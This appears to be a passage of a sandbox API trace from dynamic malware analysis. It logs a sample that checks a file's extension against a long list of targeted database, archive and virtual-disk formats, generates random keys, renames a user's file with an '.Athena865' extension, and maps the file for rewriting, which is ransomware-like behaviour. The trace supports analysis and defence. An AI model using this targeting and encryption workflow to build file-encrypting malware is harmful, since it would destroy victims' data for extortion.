0x17c [0052.492] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=438) returned 1 [0052.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.492] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.493] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.493] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.494] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.494] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.494] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.496] lstrcpyW (in: lpString1=0x241e8b4, lpString2="gMvYXH18Yeul8hy7kd.lnk" | out: lpString1="gMvYXH18Yeul8hy7kd.lnk") returned="gMvYXH18Yeul8hy7kd.lnk" [0052.496] lstrlenW (lpString="gMvYXH18Yeul8hy7kd.lnk") returned 22 [0052.496] lstrlenW (lpString="Athena865") returned 9 [0052.496] lstrcmpiW (lpString1="hy7kd.lnk", lpString2="Athena865") returned 1 [0052.496] lstrlenW (lpString=".dll") returned 4 [0052.496] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.lnk", lpString2=".dll") returned 1 [0052.496] lstrlenW (lpString=".lnk") returned 4 [0052.496] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.lnk", lpString2=".lnk") returned 1 [0052.496] lstrlenW (lpString=".ini") returned 4 [0052.496] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.lnk", lpString2=".ini") returned 1 [0052.496] lstrlenW (lpString=".sys") returned 4 [0052.496] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.lnk", lpString2=".sys") returned 1 [0052.496] lstrlenW (lpString="gMvYXH18Yeul8hy7kd.lnk") returned 22 [0052.496] lstrlenW (lpString="bak") returned 3 [0052.496] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.496] lstrlenW (lpString="ba_") returned 3 [0052.496] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.496] lstrlenW (lpString="dbb") returned 3 [0052.496] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.496] lstrlenW (lpString="vmdk") returned 4 [0052.496] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.496] lstrlenW (lpString="rar") returned 3 [0052.496] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.497] lstrlenW (lpString="zip") returned 3 [0052.497] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.497] lstrlenW (lpString="tgz") returned 3 [0052.497] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.497] lstrlenW (lpString="vbox") returned 4 [0052.497] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.497] lstrlenW (lpString="vdi") returned 3 [0052.497] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.497] lstrlenW (lpString="vhd") returned 3 [0052.497] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.497] lstrlenW (lpString="vhdx") returned 4 [0052.497] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.497] lstrlenW (lpString="avhd") returned 4 [0052.497] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.497] lstrlenW (lpString="db") returned 2 [0052.497] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.497] lstrlenW (lpString="db2") returned 3 [0052.497] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.497] lstrlenW (lpString="db3") returned 3 [0052.497] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.497] lstrlenW (lpString="dbf") returned 3 [0052.497] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.497] lstrlenW (lpString="mdf") returned 3 [0052.497] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.497] lstrlenW (lpString="mdb") returned 3 [0052.497] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.497] lstrlenW (lpString="sql") returned 3 [0052.497] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.497] lstrlenW (lpString="sqlite") returned 6 [0052.497] lstrcmpiW (lpString1="kd.lnk", lpString2="sqlite") returned -1 [0052.497] lstrlenW (lpString="sqlite3") returned 7 [0052.497] lstrcmpiW (lpString1="7kd.lnk", lpString2="sqlite3") returned -1 [0052.497] lstrlenW (lpString="sqlitedb") returned 8 [0052.498] lstrcmpiW (lpString1="y7kd.lnk", lpString2="sqlitedb") returned 1 [0052.498] lstrlenW (lpString="xml") returned 3 [0052.498] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.498] lstrlenW (lpString="$er") returned 3 [0052.498] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.498] lstrlenW (lpString="4dd") returned 3 [0052.498] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.498] lstrlenW (lpString="4dl") returned 3 [0052.498] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.498] lstrlenW (lpString="^^^") returned 3 [0052.498] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.498] lstrlenW (lpString="abs") returned 3 [0052.498] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.498] lstrlenW (lpString="abx") returned 3 [0052.498] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.498] lstrlenW (lpString="accdb") returned 5 [0052.498] lstrcmpiW (lpString1="d.lnk", lpString2="accdb") returned 1 [0052.498] lstrlenW (lpString="accdc") returned 5 [0052.498] lstrcmpiW (lpString1="d.lnk", lpString2="accdc") returned 1 [0052.498] lstrlenW (lpString="accde") returned 5 [0052.498] lstrcmpiW (lpString1="d.lnk", lpString2="accde") returned 1 [0052.498] lstrlenW (lpString="accdr") returned 5 [0052.498] lstrcmpiW (lpString1="d.lnk", lpString2="accdr") returned 1 [0052.498] lstrlenW (lpString="accdt") returned 5 [0052.498] lstrcmpiW (lpString1="d.lnk", lpString2="accdt") returned 1 [0052.498] lstrlenW (lpString="accdw") returned 5 [0052.498] lstrcmpiW (lpString1="d.lnk", lpString2="accdw") returned 1 [0052.498] lstrlenW (lpString="accft") returned 5 [0052.498] lstrcmpiW (lpString1="d.lnk", lpString2="accft") returned 1 [0052.498] lstrlenW (lpString="adb") returned 3 [0052.498] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.498] lstrlenW (lpString="adb") returned 3 [0052.498] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.498] lstrlenW (lpString="ade") returned 3 [0052.499] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.499] lstrlenW (lpString="adf") returned 3 [0052.499] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.499] lstrlenW (lpString="adn") returned 3 [0052.499] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.499] lstrlenW (lpString="adp") returned 3 [0052.499] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.499] lstrlenW (lpString="alf") returned 3 [0052.499] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.499] lstrlenW (lpString="ask") returned 3 [0052.499] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.499] lstrlenW (lpString="btr") returned 3 [0052.499] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.499] lstrlenW (lpString="cat") returned 3 [0052.499] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.499] lstrlenW (lpString="cdb") returned 3 [0052.499] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.499] lstrlenW (lpString="ckp") returned 3 [0052.499] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.499] lstrlenW (lpString="cma") returned 3 [0052.499] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.499] lstrlenW (lpString="cpd") returned 3 [0052.499] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.499] lstrlenW (lpString="dacpac") returned 6 [0052.499] lstrcmpiW (lpString1="kd.lnk", lpString2="dacpac") returned 1 [0052.499] lstrlenW (lpString="dad") returned 3 [0052.499] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.499] lstrlenW (lpString="dadiagrams") returned 10 [0052.499] lstrcmpiW (lpString1="8hy7kd.lnk", lpString2="dadiagrams") returned -1 [0052.499] lstrlenW (lpString="daschema") returned 8 [0052.499] lstrcmpiW (lpString1="y7kd.lnk", lpString2="daschema") returned 1 [0052.499] lstrlenW (lpString="db-journal") returned 10 [0052.499] lstrcmpiW (lpString1="8hy7kd.lnk", lpString2="db-journal") returned -1 [0052.499] lstrlenW (lpString="db-shm") returned 6 [0052.499] lstrcmpiW (lpString1="kd.lnk", lpString2="db-shm") returned 1 [0052.500] lstrlenW (lpString="db-wal") returned 6 [0052.500] lstrcmpiW (lpString1="kd.lnk", lpString2="db-wal") returned 1 [0052.500] lstrlenW (lpString="dbc") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.500] lstrlenW (lpString="dbs") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.500] lstrlenW (lpString="dbt") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.500] lstrlenW (lpString="dbv") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.500] lstrlenW (lpString="dbx") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.500] lstrlenW (lpString="dcb") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.500] lstrlenW (lpString="dct") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.500] lstrlenW (lpString="dcx") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.500] lstrlenW (lpString="ddl") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.500] lstrlenW (lpString="dlis") returned 4 [0052.500] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.500] lstrlenW (lpString="dp1") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.500] lstrlenW (lpString="dqy") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.500] lstrlenW (lpString="dsk") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0052.500] lstrlenW (lpString="dsn") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0052.500] lstrlenW (lpString="dtsx") returned 4 [0052.500] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0052.500] lstrlenW (lpString="dxl") returned 3 [0052.500] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0052.501] lstrlenW (lpString="eco") returned 3 [0052.501] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0052.501] lstrlenW (lpString="ecx") returned 3 [0052.501] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0052.501] lstrlenW (lpString="edb") returned 3 [0052.501] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0052.501] lstrlenW (lpString="epim") returned 4 [0052.501] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0052.501] lstrlenW (lpString="fcd") returned 3 [0052.501] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0052.501] lstrlenW (lpString="fdb") returned 3 [0052.501] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0052.501] lstrlenW (lpString="fic") returned 3 [0052.501] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0052.501] lstrlenW (lpString="flexolibrary") returned 12 [0052.501] lstrcmpiW (lpString1="ul8hy7kd.lnk", lpString2="flexolibrary") returned 1 [0052.501] lstrlenW (lpString="fm5") returned 3 [0052.501] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0052.501] lstrlenW (lpString="fmp") returned 3 [0052.501] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0052.501] lstrlenW (lpString="fmp12") returned 5 [0052.501] lstrcmpiW (lpString1="d.lnk", lpString2="fmp12") returned -1 [0052.501] lstrlenW (lpString="fmpsl") returned 5 [0052.501] lstrcmpiW (lpString1="d.lnk", lpString2="fmpsl") returned -1 [0052.501] lstrlenW (lpString="fol") returned 3 [0052.501] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0052.501] lstrlenW (lpString="fp3") returned 3 [0052.501] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0052.501] lstrlenW (lpString="fp4") returned 3 [0052.501] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0052.501] lstrlenW (lpString="fp5") returned 3 [0052.501] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0052.501] lstrlenW (lpString="fp7") returned 3 [0052.501] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0052.502] lstrlenW (lpString="fpt") returned 3 [0052.502] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0052.502] lstrlenW (lpString="frm") returned 3 [0052.502] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0052.502] lstrlenW (lpString="gdb") returned 3 [0052.502] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.502] lstrlenW (lpString="gdb") returned 3 [0052.502] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.502] lstrlenW (lpString="grdb") returned 4 [0052.502] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0052.502] lstrlenW (lpString="gwi") returned 3 [0052.502] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0052.502] lstrlenW (lpString="hdb") returned 3 [0052.502] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0052.502] lstrlenW (lpString="his") returned 3 [0052.502] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0052.502] lstrlenW (lpString="ib") returned 2 [0052.502] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0052.502] lstrlenW (lpString="idb") returned 3 [0052.502] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0052.502] lstrlenW (lpString="ihx") returned 3 [0052.502] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0052.502] lstrlenW (lpString="itdb") returned 4 [0052.502] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0052.502] lstrlenW (lpString="itw") returned 3 [0052.502] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0052.502] lstrlenW (lpString="jet") returned 3 [0052.502] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0052.502] lstrlenW (lpString="jtx") returned 3 [0052.502] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0052.502] lstrlenW (lpString="kdb") returned 3 [0052.502] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0052.502] lstrlenW (lpString="kexi") returned 4 [0052.503] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0052.503] lstrlenW (lpString="kexic") returned 5 [0052.503] lstrcmpiW (lpString1="d.lnk", lpString2="kexic") returned -1 [0052.503] lstrlenW (lpString="kexis") returned 5 [0052.503] lstrcmpiW (lpString1="d.lnk", lpString2="kexis") returned -1 [0052.503] lstrlenW (lpString="lgc") returned 3 [0052.503] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0052.503] lstrlenW (lpString="lwx") returned 3 [0052.503] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0052.503] lstrlenW (lpString="maf") returned 3 [0052.503] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0052.503] lstrlenW (lpString="maq") returned 3 [0052.503] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0052.503] lstrlenW (lpString="mar") returned 3 [0052.503] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0052.503] lstrlenW (lpString="marshal") returned 7 [0052.503] lstrcmpiW (lpString1="7kd.lnk", lpString2="marshal") returned -1 [0052.503] lstrlenW (lpString="mas") returned 3 [0052.503] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0052.503] lstrlenW (lpString="mav") returned 3 [0052.503] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0052.503] lstrlenW (lpString="maw") returned 3 [0052.503] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0052.503] lstrlenW (lpString="mdbhtml") returned 7 [0052.503] lstrcmpiW (lpString1="7kd.lnk", lpString2="mdbhtml") returned -1 [0052.503] lstrlenW (lpString="mdn") returned 3 [0052.503] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0052.503] lstrlenW (lpString="mdt") returned 3 [0052.503] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0052.503] lstrlenW (lpString="mfd") returned 3 [0052.503] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0052.503] lstrlenW (lpString="mpd") returned 3 [0052.503] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0052.503] lstrlenW (lpString="mrg") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0052.504] lstrlenW (lpString="mud") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0052.504] lstrlenW (lpString="mwb") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0052.504] lstrlenW (lpString="myd") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0052.504] lstrlenW (lpString="ndf") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0052.504] lstrlenW (lpString="nnt") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0052.504] lstrlenW (lpString="nrmlib") returned 6 [0052.504] lstrcmpiW (lpString1="kd.lnk", lpString2="nrmlib") returned -1 [0052.504] lstrlenW (lpString="ns2") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0052.504] lstrlenW (lpString="ns3") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0052.504] lstrlenW (lpString="ns4") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0052.504] lstrlenW (lpString="nsf") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0052.504] lstrlenW (lpString="nv") returned 2 [0052.504] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0052.504] lstrlenW (lpString="nv2") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0052.504] lstrlenW (lpString="nwdb") returned 4 [0052.504] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0052.504] lstrlenW (lpString="nyf") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0052.504] lstrlenW (lpString="odb") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.504] lstrlenW (lpString="odb") returned 3 [0052.504] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.504] lstrlenW (lpString="oqy") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0052.505] lstrlenW (lpString="ora") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0052.505] lstrlenW (lpString="orx") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0052.505] lstrlenW (lpString="owc") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0052.505] lstrlenW (lpString="p96") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0052.505] lstrlenW (lpString="p97") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0052.505] lstrlenW (lpString="pan") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0052.505] lstrlenW (lpString="pdb") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0052.505] lstrlenW (lpString="pdm") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0052.505] lstrlenW (lpString="pnz") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0052.505] lstrlenW (lpString="qry") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0052.505] lstrlenW (lpString="qvd") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0052.505] lstrlenW (lpString="rbf") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0052.505] lstrlenW (lpString="rctd") returned 4 [0052.505] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0052.505] lstrlenW (lpString="rod") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0052.505] lstrlenW (lpString="rodx") returned 4 [0052.505] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0052.505] lstrlenW (lpString="rpd") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0052.505] lstrlenW (lpString="rsd") returned 3 [0052.505] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0052.506] lstrlenW (lpString="sas7bdat") returned 8 [0052.506] lstrcmpiW (lpString1="y7kd.lnk", lpString2="sas7bdat") returned 1 [0052.506] lstrlenW (lpString="sbf") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0052.506] lstrlenW (lpString="scx") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0052.506] lstrlenW (lpString="sdb") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0052.506] lstrlenW (lpString="sdc") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0052.506] lstrlenW (lpString="sdf") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0052.506] lstrlenW (lpString="sis") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0052.506] lstrlenW (lpString="spq") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0052.506] lstrlenW (lpString="te") returned 2 [0052.506] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0052.506] lstrlenW (lpString="teacher") returned 7 [0052.506] lstrcmpiW (lpString1="7kd.lnk", lpString2="teacher") returned -1 [0052.506] lstrlenW (lpString="tmd") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0052.506] lstrlenW (lpString="tps") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0052.506] lstrlenW (lpString="trc") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.506] lstrlenW (lpString="trc") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.506] lstrlenW (lpString="trm") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0052.506] lstrlenW (lpString="udb") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0052.506] lstrlenW (lpString="udl") returned 3 [0052.506] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0052.507] lstrlenW (lpString="usr") returned 3 [0052.507] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0052.507] lstrlenW (lpString="v12") returned 3 [0052.507] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0052.507] lstrlenW (lpString="vis") returned 3 [0052.507] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0052.507] lstrlenW (lpString="vpd") returned 3 [0052.507] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0052.507] lstrlenW (lpString="vvv") returned 3 [0052.507] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0052.507] lstrlenW (lpString="wdb") returned 3 [0052.507] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0052.507] lstrlenW (lpString="wmdb") returned 4 [0052.507] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0052.507] lstrlenW (lpString="wrk") returned 3 [0052.507] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0052.507] lstrlenW (lpString="xdb") returned 3 [0052.507] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0052.507] lstrlenW (lpString="xld") returned 3 [0052.507] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0052.507] lstrlenW (lpString="xmlff") returned 5 [0052.507] lstrcmpiW (lpString1="d.lnk", lpString2="xmlff") returned -1 [0052.507] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\gMvYXH18Yeul8hy7kd.lnk.Athena865") returned 86 [0052.507] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\gMvYXH18Yeul8hy7kd.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\gmvyxh18yeul8hy7kd.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\gMvYXH18Yeul8hy7kd.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\gmvyxh18yeul8hy7kd.lnk.athena865"), dwFlags=0x1) returned 1 [0052.508] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\gMvYXH18Yeul8hy7kd.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\gmvyxh18yeul8hy7kd.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.508] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2675) returned 1 [0052.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.509] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.509] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.509] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.509] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd80, lpName=0x0) returned 0x154 [0052.509] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd80) returned 0x100000 [0052.510] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.510] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.510] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.511] 